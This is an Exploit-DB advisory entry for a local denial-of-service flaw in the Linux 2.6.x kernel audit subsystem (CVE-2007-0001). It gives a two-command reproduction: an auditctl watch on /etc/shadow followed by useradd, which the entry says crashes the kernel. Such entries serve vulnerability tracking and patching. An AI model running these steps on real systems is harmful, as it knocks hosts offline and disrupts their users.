Linux Kernel 2.6.x - Audit Subsystems Local Denial of Service Vulnerability

2007-02-27T00:00:00
ID EDB-ID:29683
Type exploitdb
Reporter Steve Grubb
Modified 2007-02-27T00:00:00

Description

Linux Kernel 2.6.x Audit Subsystems Local Denial of Service Vulnerability. CVE-2007-0001. Dos exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/22737/info

The Linux Kernel is prone to a denial-of-service vulnerability.

A local attacker can exploit this issue to crash the kernel.

Linux kernel versions 2.6.x are vulnerable to this issue.

1. auditctl -w /etc/shadow
2. useradd userb